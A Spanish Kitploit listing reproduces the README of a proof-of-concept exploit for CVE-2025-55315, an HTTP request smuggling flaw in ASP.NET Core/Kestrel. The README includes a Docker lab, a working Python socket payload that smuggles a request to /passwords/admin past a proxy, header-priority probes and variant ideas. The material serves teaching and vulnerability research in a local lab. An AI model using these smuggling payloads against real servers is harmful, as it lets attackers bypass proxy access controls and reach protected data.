Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55315 — Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables. | Kitploit
Herramientas/GitHubGitHub/martinfabianionut/cve-2025-55315
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y Educación
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Ver Repositorio
13hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Exploit de prueba de concepto para CVE-2025-55315 (HTTP Request Smuggling en .NET). Demuestra cómo la codificación fragmentada mal analizada permite a atacantes pasar solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.

Compartir

CVE-2025-55315

Explotación de prueba de concepto para CVE-2025-55315 (Contrabando de solicitudes HTTP en .NET). Demuestra cómo la codificación fragmentada (chunked encoding) mal interpretada permite a atacantes introducir solicitudes de contrabando a través de proxies y balanceadores de carga en servidores ASP.NET Core/Kestrel vulnerables.

📊 Presentación

Ver presentación interactiva en Prezi

Prezi Presentation

🎥 Haz clic en la insignia de arriba para ver la presentación interactiva completa en Prezi

Estructura del Proyecto

  • Api - API consolidada de ASP.NET Core con dos Dockerfiles:
    • Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerable a CVE-2025-55315)
    • Dockerfile.patched - Usa .NET 10.0.100 (versión parcheada)
  • PythonProxy - Proxy vulnerable utilizado para la demostración del exploit de CVE-2025-55315 (favorece Content-Length sobre Transfer-Encoding)
  • YarpProxy - Proxy inverso YARP para probar balanceo de carga (no parte del exploit)
  • Nota: La vulnerabilidad está en el analizador HTTP del runtime de .NET (Kestrel), no en el código de la aplicación. Ambas versiones usan código fuente idéntico pero diferentes versiones del runtime de .NET.

    Inicio Rápido

    root@kitploit:~
    # Construir y ejecutar todos los servicios
    docker-compose up --build
    
    # Acceder a los servicios
    # API insegura: http://localhost:5001
    # API segura: http://localhost:5002
    # Proxy Python (exploit): http://localhost:5027
    # Proxy YARP (balanceo de carga): http://localhost:5028
    

    Consulta DOCKER.md para instrucciones detalladas de uso de Docker.

    Demostración del Exploit

    El proxy Python demuestra CVE-2025-55315 al favorecer Content-Length sobre Transfer-Encoding, permitiendo el contrabando de solicitudes HTTP:

    root@kitploit:~
    payload = (
        "POST /passwords HTTP/1.1\r\n"
        "Host: localhost:5027\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "2;\n"
        "xx\r\n"
        "39\r\n"
        "0\r\n"
        "\r\n"
        "GET /passwords/admin HTTP/1.1\r\n"
        "Host: localhost:5001\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
    )
    
    import socket
    import time
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('localhost', 5027))
        s.sendall(payload.encode())
        
        # Leer todos los datos disponibles
        s.settimeout(2.0)
        responses = b''
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                responses += chunk
        except socket.timeout:
            pass
        
        print("=== Respuesta Completa ===")
        print(responses.decode('utf-8', errors='ignore'))
        print("\n=== Comprobando respuesta de solicitud de contrabando ===")
        if b'/passwords/admin' in responses or b'admin' in responses:
            print("✓ ¡Solicitud de contrabando a /passwords/admin exitosa!")
        else:
            print("✗ Exploit falló o fue bloqueado")
    

    Este payload introduce una segunda solicitud a /passwords/admin evadiendo la verificación de seguridad del proxy, explotando la discrepancia en cómo el proxy y el servidor backend analizan la solicitud.

    Interpretación Visual de la Solicitud

    A continuación, se muestra cómo el proxy y el servidor backend interpretan el mismo payload de manera diferente:

    INTERPRETACIÓN DEL PROXY (Acepta \n como terminación de línea válida):

    root@kitploit:~
    flowchart TD
        subgraph Proxy_Request_1 ["🔴 Solicitud 1 - Vista del Proxy"]
            PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
            PCH1["<b>2;\n</b><br/><i>cabecera de fragmento (acepta \n)</i>"]
            PCB1["<b>xx</b><br/><i>cuerpo del fragmento - 2 bytes</i>"]
            PCH2["<b>39</b><br/><i>cabecera de fragmento</i>"]
            PCB2["<i>cuerpo del fragmento - 57 bytes</i><br/>(contiene solicitud de contrabando)"]
            PLK["<b>0</b><br/><i>último fragmento</i>"]
        end
        
        subgraph Proxy_Ignored ["⚫ Ignorado por el Proxy"]
            PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(El proxy cree que esto es parte del cuerpo del fragmento)"]
        end
    
        PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
        PLK -.-> PIG

    INTERPRETACIÓN DEL BACKEND (Rechaza \n, requiere \r\n):

    root@kitploit:~
    flowchart TD
        subgraph Backend_Request_1 ["🟢 Solicitud 1 - Vista del Backend"]
            BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (inválido - parte de cabeceras)<br/><b>xx</b> (cabeceras terminan aquí)"]
            BCB1["<b>39</b><br/><i>cuerpo del fragmento</i>"]
            BLK1["<b>0</b><br/><i>último fragmento</i>"]
        end
        
        subgraph Backend_Request_2 ["🟢 Solicitud 2 - Vista del Backend"]
            BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
            BLK2["<b>0</b><br/><i>último fragmento</i>"]
        end
    
        BH1 --> BCB1 --> BLK1
        BLK1 --> BH2 --> BLK2
        
        style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

    Diferencias Clave:

    ComponenteTamaño de Fragmento 2;\nBytes LeídosQué Sucede
    Proxy✅ Tamaño de fragmento válido2 bytes (xx)Trata 2;\n como cabecera completa de fragmento, lee 2 bytes, continúa al siguiente fragmento
    Backend❌ Terminación de línea inválidaSigue leyendo como fragmento de tamaño 2La cabecera del fragmento no termina hasta xx\r\n, por lo que 39 se convierte en el cuerpo del fragmento, 0 termina el fragmento

    Explicación Detallada:

    • Proxy: Acepta 2;\n como una declaración de tamaño de fragmento válida (2 bytes) → Lee xx como el cuerpo del fragmento de 2 bytes → Pasa al siguiente fragmento (39)
    • Backend: Rechaza \n como terminación de línea → El tamaño del fragmento sigue siendo 2 pero la cabecera se extiende hasta 2;\nxx\r\n → Lee 39 como parte del cuerpo del fragmento → 0\r\n termina el fragmento
    • Resultado: La solicitud de contrabando GET /passwords/admin está oculta en lo que el backend trata como datos de fragmento, pero se analiza como una solicitud separada después de que el procesamiento de fragmentos finaliza

    La solicitud de contrabando GET /passwords/admin está oculta en lo que el proxy cree que son datos del cuerpo del fragmento, pero el backend la analiza como una solicitud HTTP separada.

    Identificando la Vulnerabilidad

    Antes de explotar, necesitas identificar qué cabecera HTTP (Content-Length o Transfer-Encoding) favorece cada componente. Aquí tienes una guía paso a paso:

    Paso 1: Probar la Prioridad de Cabeceras

    Envía una solicitud con ambas cabeceras Content-Length y Transfer-Encoding: chunked para ver cuál respeta cada componente:

    root@kitploit:~
    POST /passwords HTTP/1.1\r\n
    Host: localhost:5001\r\n
    Transfer-Encoding: chunked\r\n
    Content-Length: 2\r\n
    \r\n
    6\r\n
    Fabian\r\n
    0\r\n
    \r\n
    

    Análisis:

    • Si el servidor procesa "Fa" (2 bytes) → Favorece Content-Length
    • Si el servidor procesa "Fabian" (cuerpo fragmentado completo) → Favorece Transfer-Encoding

    Paso 2: Probar Cada Componente

    Prueba todos los componentes en tu arquitectura para encontrar discrepancias:

    Probar API Insegura (Puerto 5001)

    root@kitploit:~
    # Usando Python
    import socket
    
    test_payload = (
        "POST /passwords HTTP/1.1\r\n"
        "Host: localhost:5001\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Length: 2\r\n"
        "\r\n"
        "6\r\n"
        "Fabian\r\n"
        "0\r\n"
        "\r\n"
    )
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('localhost', 5001))
        s.sendall(test_payload.encode())
        s.settimeout(1.0)
        try:
            response = s.recv(4096)
            print("Respuesta de API Insegura:", response.decode('utf-8', errors='ignore'))
        except socket.timeout:
            pass
    

    Probar API Segura (Puerto 5002)

    root@kitploit:~
    # Cambia el puerto a 5002 y prueba
    # La API segura debería manejar el conflicto correctamente
    

    Probar Proxy Python (Puerto 5027)

    root@kitploit:~
    # Cambia el puerto a 5027
    # El proxy Python favorece Content-Length (vulnerable)
    

    Probar Proxy YARP (Puerto 5028)

    root@kitploit:~
    # Cambia el puerto a 5028
    # Prueba cómo YARP maneja el conflicto de cabeceras
    

    Paso 3: Usar Burp Suite para Pruebas Manuales

    1. Interceptar Solicitud: Captura una solicitud POST normal a /passwords
    2. Modificar Cabeceras: Añade ambas cabeceras manualmente:
    root@kitploit:~
    Transfer-Encoding: chunked\r\n
    Content-Length: 2\r\n
    \r\n
    
    1. Establecer Cuerpo: Usa el formato de codificación fragmentada:
    root@kitploit:~
    6\r\n
    Fabian\r\n
    0\r\n
    \r\n   
    
    1. Comparar Respuestas: Envía a diferentes endpoints y analiza qué porción del cuerpo procesa cada uno
    2. Identificar Discrepancia: Si el proxy lee 2 bytes pero el backend lee el fragmento completo, tienes una vulnerabilidad de desincronización

    Paso 4: Crear el Exploit

    Una vez que identifiques:

    • Proxy: Favorece Content-Length (lee solo N bytes)
    • Backend: Favorece Transfer-Encoding (lee el cuerpo fragmentado)

    Puedes introducir una segunda solicitud que el proxy nunca ve pero el backend procesa.

    Paso 5: Verificar el Exploit

    Ejecuta el payload completo del exploit (ver sección "Demostración del Exploit" más arriba) y confirma:

    • Primera respuesta: Resultado POST normal
    • Segunda respuesta: Datos del endpoint admin (solicitud de contrabando exitosa)

    Herramientas Recomendadas

    • Burp Suite: Creación manual de solicitudes y manipulación de cabeceras
    • Python socket: Control de bajo nivel para formateo HTTP preciso
    • curl con --data-binary: Pruebas rápidas desde línea de comandos
    • Wireshark: Análisis a nivel de paquetes para ver exactamente qué recibe cada componente

    Variantes Alternativas del Exploit

    El exploit puede crearse de múltiples maneras. Experimenta con diferentes enfoques:

    Con Content-Length Explícito

    root@kitploit:~
    # Añade Content-Length para hacer la desincronización explícita
    payload = (
        "POST /passwords HTTP/1.1\r\n"
        "Host: localhost:5027\r\n"
        "Content-Length: 75\r\n"
        "Transfer-Encoding: chunked\r\n"
        # ... resto del payload
    )
    

    Por Qué Funciona Sin Content-Length

    • Proxy: Acepta \n como terminación de línea válida → Trata 2;\n como tamaño de fragmento → Lee 2 bytes (xx)
    • Backend: Rechaza \n → La cabecera del fragmento se extiende hasta 2;\nxx\r\n → 39 se convierte en cuerpo del fragmento → 0\r\n termina el fragmento
    • Resultado: Solicitud de contrabando oculta en el cuerpo del fragmento, analizada como solicitud separada por el backend

    Ideas para Experimentar

    Prueba diferentes escenarios de desincronización modificando PythonProxy/proxy_server.py:

    • CL.TE: Proxy usa Content-Length, backend usa Transfer-Encoding
    • TE.CL: Proxy usa Transfer-Encoding, backend usa Content-Length (intenta crear tus propias APIs)
    • TE.TE: Ambos usan Transfer-Encoding pero lo analizan de manera diferente (como \n vs \r\n)

    Experimenta con:

    • Diferentes tamaños y formatos de fragmentos
    • Múltiples solicitudes de contrabando en secuencia
    • Varios métodos HTTP (GET, POST, PUT, DELETE) - puedes añadirlos en las APIs
    • Espacios en blanco y caracteres especiales
    Descargar herramienta